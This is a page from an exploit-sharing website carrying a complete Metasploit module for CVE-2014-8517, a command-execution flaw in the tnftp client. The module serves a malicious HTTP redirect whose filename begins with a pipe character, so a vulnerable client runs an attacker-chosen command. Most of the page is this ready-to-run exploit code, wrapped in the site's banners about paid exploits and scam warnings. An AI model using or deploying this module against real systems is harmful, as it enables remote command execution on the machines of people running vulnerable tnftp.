0day.today - 世界最大的漏洞利用数据库。
![](/img/logo_green.jpg)
- 我们唯一的域名:http://0day.today
- 我们大多数的材料都完全免费
- 如果你想购买漏洞利用 / 获取V.I.P.权限 或者使用其他付费服务,
你需要购买或者赢取金币金币
本站管理员使用官方账号。请谨防诈骗!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
你可以由此方式联系我们:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
tnftp "savefile" Arbitrary Command Execution Exploit
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'tnftp "savefile" Arbitrary Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in tnftp's handling of the resolved output filename - called "savefile" in the source - from a requested resource. If tnftp is executed without the -o command-line option, it will resolve the output filename from the last component of the requested resource. If the output filename begins with a "|" character, tnftp will pass the fetched resource's output to the command directly following the "|" character through the use of the popen() function. }, 'Author' => [ 'Jared McNeill', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2014-8517'], ['URL', 'http://seclists.org/oss-sec/2014/q4/459'] ], 'DisclosureDate' => 'Oct 28 2014', 'License' => MSF_LICENSE, 'Actions' => [ ['Service'] ], 'PassiveActions' => [ 'Service' ], 'DefaultAction' => 'Service' )) register_options([ OptString.new('CMD', [true, 'Command to run', 'uname -a']) ]) end def run exploit end def on_request_uri(cli, request) unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/ print_status("#{request['User-Agent']} connected") send_not_found(cli) return end if request.uri.ends_with?(sploit) send_response(cli, '') print_good("Executing `#{datastore['CMD']}'!") report_vuln( :host => cli.peerhost, :name => self.name, :refs => self.references, :info => request['User-Agent'] ) else print_status("#{request['User-Agent']} connected") print_status('Redirecting to exploit...') send_redirect(cli, sploit_uri) end end def sploit_uri (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") + Rex::Text.uri_encode(sploit, 'hex-all') end def sploit "|#{datastore['CMD']}" end end # 0day.today [2024-07-04] #